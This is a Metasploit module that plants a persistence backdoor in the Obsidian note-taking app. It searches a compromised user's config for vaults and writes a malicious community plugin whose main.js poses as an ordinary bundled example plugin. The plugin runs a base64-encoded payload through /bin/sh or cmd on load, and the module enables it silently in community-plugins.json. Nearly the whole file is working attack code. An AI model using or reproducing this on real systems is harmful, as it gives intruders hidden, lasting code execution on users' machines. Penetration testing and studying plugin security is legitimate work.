## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File include Msf::Post::Unix # whoami include Msf::Auxiliary::Report def initialize(info = {}) super( update_info( info, 'Name' => 'Obsidian Plugin Persistence', 'Description' => %q{ This module searches for Obsidian vaults for a user, and uploads a malicious community plugin to the vault. The vaults must be opened with community plugins enabled (NOT restricted mode), but the plugin will be enabled automatically. Tested against Obsidian 1.7.7 on Kali, Ubuntu 22.04, and Windows 10. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # Module 'Thomas Byrne' # Research, PoC ], 'DisclosureDate' => '2022-09-16', 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Privileged' => false, 'References' => [ [ 'URL', 'https://docs.obsidian.md/Plugins/Getting+started/Build+a+plugin' ], [ 'URL', 'https://github.com/obsidianmd/obsidian-sample-plugin/tree/master' ], [ 'URL', 'https://forum.obsidian.md/t/can-obsidian-plugins-have-malware/34491' ], [ 'URL', 'https://help.obsidian.md/Extending+Obsidian/Plugin+security' ], [ 'URL', 'https://thomas-byrne.co.uk/research/obsidian-malicious-plugins/obsidian-research/' ] ], 'Arch' => [ARCH_CMD], 'Platform' => %w[osx linux windows], 'DefaultOptions' => { # 25hrs, you know, just in case the user doesn't open Obsidian for a while 'WfsDelay' => 90_000, 'PrependMigrate' => true }, 'Payload' => { 'BadChars' => '"' }, 'Stance' => Msf::Exploit::Stance::Passive, 'Targets' => [ ['Auto', {} ], ['Linux', { 'Platform' => 'unix' } ], ['OSX', { 'Platform' => 'osx' } ], ['Windows', { 'Platform' => 'windows' } ], ], 'Notes' => { 'Reliability' => [ REPEATABLE_SESSION ], 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES ] }, 'DefaultTarget' => 0 ) ) register_options([ OptString.new('NAME', [ false, 'Name of the plugin', '' ]), OptString.new('USER', [ false, 'User to target, or current user if blank', '' ]), OptString.new('CONFIG', [ false, 'Config file location on target', '' ]), ]) end def plugin_name return datastore['NAME'] unless datastore['NAME'].blank? rand_text_alphanumeric(4..10) end def find_vaults vaults_found = [] user = target_user vprint_status("Target User: #{user}") case session.platform when 'windows', 'win' config_files = ["C:\\Users\\#{user}\\AppData\\Roaming\\obsidian\\obsidian.json"] when 'osx' config_files = ["/User/#{user}/Library/Application Support/obsidian/obsidian.json"] when 'linux' config_files = [ "/home/#{user}/.config/obsidian/obsidian.json", "/home/#{user}/snap/obsidian/40/.config/obsidian/obsidian.json" ] # snap package end config_files << datastore['CONFIG'] unless datastore['CONFIG'].empty? config_files.each do |config_file| next unless file?(config_file) vprint_status("Found user obsidian file: #{config_file}") config_contents = read_file(config_file) return fail_with(Failure::Unknown, 'Failed to read config file') if config_contents.nil? begin vaults = JSON.parse(config_contents) rescue JSON::ParserError vprint_error("Failed to parse JSON from #{config_file}") next end vaults_found = vaults['vaults'] if vaults_found.nil? vprint_error("No vaults found in #{config_file}") next end vaults['vaults'].each do |k, v| if v['open'] print_good("Found #{v['open'] ? 'open' : 'closed'} vault #{k}: #{v['path']}") else print_status("Found #{v['open'] ? 'open' : 'closed'} vault #{k}: #{v['path']}") end end end vaults_found end def manifest_js(plugin_name) JSON.pretty_generate({ 'id' => plugin_name.gsub(' ', '_'), 'name' => plugin_name, 'version' => '1.0.0', 'minAppVersion' => '0.15.0', 'description' => '', 'author' => 'Obsidian', 'authorUrl' => 'https://obsidian.md', 'isDesktopOnly' => false }) end def main_js(_plugin_name) if ['windows', 'win'].include? session.platform payload_stub = payload.encoded.to_s else payload_stub = "echo \\\"#{Rex::Text.encode_base64(payload.encoded)}\\\" | base64 -d | /bin/sh" end %% /* THIS IS A GENERATED/BUNDLED FILE BY ESBUILD if you want to view the source, please visit the github repository of this plugin */ var __defProp = Object.defineProperty; var __getOwnPropDesc = Object.getOwnPropertyDescriptor; var __getOwnPropNames = Object.getOwnPropertyNames; var __hasOwnProp = Object.prototype.hasOwnProperty; var __export = (target, all) => { for (var name in all) __defProp(target, name, { get: all[name], enumerable: true }); }; var __copyProps = (to, from, except, desc) => { if (from && typeof from === "object" || typeof from === "function") { for (let key of __getOwnPropNames(from)) if (!__hasOwnProp.call(to, key) && key !== except) __defProp(to, key, { get: () => from[key], enumerable: !(desc = __getOwnPropDesc(from, key)) || desc.enumerable }); } return to; }; var __toCommonJS = (mod) => __copyProps(__defProp({}, "__esModule", { value: true }), mod); // main.ts var main_exports = {}; __export(main_exports, { default: () => ExamplePlugin }); module.exports = __toCommonJS(main_exports); var import_obsidian = require("obsidian"); var ExamplePlugin = class extends import_obsidian.Plugin { async onload() { var command = "#{payload_stub}"; const { exec } = require("child_process"); exec(command, (error, stdout, stderr) => { if (error) { console.log(`error: ${error.message}`); return; } if (stderr) { console.log(`stderr: ${stderr}`); return; } console.log(`stdout: ${stdout}`); }); } async onunload() { } }; % end def target_user return datastore['USER'] unless datastore['USER'].blank? return cmd_exec('cmd.exe /c echo %USERNAME%').strip if ['windows', 'win'].include? session.platform whoami end def check return CheckCode::Appears('Vaults found') unless find_vaults.empty? CheckCode::Safe('No vaults found') end def exploit plugin = plugin_name print_status("Using plugin name: #{plugin}") vaults = find_vaults fail_with(Failure::NotFound, 'No vaults found') if vaults.empty? vaults.each_value do |vault| print_status("Uploading plugin to vault #{vault['path']}") # avoid mkdir function because that registers it for delete, and we don't want that for # persistent modules if ['windows', 'win'].include? session.platform cmd_exec("cmd.exe /c md \"#{vault['path']}\\.obsidian\\plugins\\#{plugin}\"") else cmd_exec("mkdir -p '#{vault['path']}/.obsidian/plugins/#{plugin}/'") end vprint_status("Uploading: #{vault['path']}/.obsidian/plugins/#{plugin}/main.js") write_file("#{vault['path']}/.obsidian/plugins/#{plugin}/main.js", main_js(plugin)) vprint_status("Uploading: #{vault['path']}/.obsidian/plugins/#{plugin}/manifest.json") write_file("#{vault['path']}/.obsidian/plugins/#{plugin}/manifest.json", manifest_js(plugin)) # read in the enabled community plugins, and add ours to the enabled list if file?("#{vault['path']}/.obsidian/community-plugins.json") plugins = read_file("#{vault['path']}/.obsidian/community-plugins.json") begin plugins = JSON.parse(plugins) vprint_status("Found #{plugins.length} enabled community plugins (#{plugins.join(', ')})") path = store_loot('obsidian.community.plugins.json', 'text/plain', session, plugins, nil, nil) print_good("Config file saved in: #{path}") rescue JSON::ParserError plugins = [] end plugins << plugin unless plugins.include?(plugin) else plugins = [plugin] end vprint_status("adding #{plugin} to the enabled community plugins list") write_file("#{vault['path']}/.obsidian/community-plugins.json", JSON.pretty_generate(plugins)) print_good('Plugin enabled, waiting for Obsidian to open the vault and execute the plugin.') end end end